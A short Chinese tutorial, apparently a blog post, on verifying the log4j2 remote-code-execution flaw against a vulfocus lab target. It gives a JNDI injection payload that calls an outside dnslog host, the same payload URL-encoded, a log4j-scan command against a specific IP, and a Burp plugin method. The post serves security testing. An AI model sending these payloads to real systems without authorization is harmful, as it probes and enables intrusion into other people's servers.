验证网站是否存在log4j2漏洞的方法~~

一、描述

    log4j2是一个基于Java的日志记录框架。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。

二、验证漏洞是否存在

    这里我使用的是vulfocus平台上面的一个log4j2的靶场

方法一:dnslog验证

1、先通过dnslog获得一个域名

    构造poc:

1
${jndi:ldap://o8ll0b.dnslog.cn}

2、用url方式提交payload参数

    构造payload:换成url形式:

1
payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%6f%38%6c%6c%30%62%2e%64%6e%73%6c%6f%67%2e%63%6e%7d

3、回到dnslog refresh record刷新列表,可以看到dns的查询记录,证明漏洞存在。

方法二:使用工具

    使用工具log4j-scan,使用命令:

1
python log4j-scan -u http://123.58.224.8:57302/hello?payload=111

方法三:使用burp插件

用burp抓包之后,发送到log4j2 RCE插件,如果有漏洞,则会自动产生请求和响应。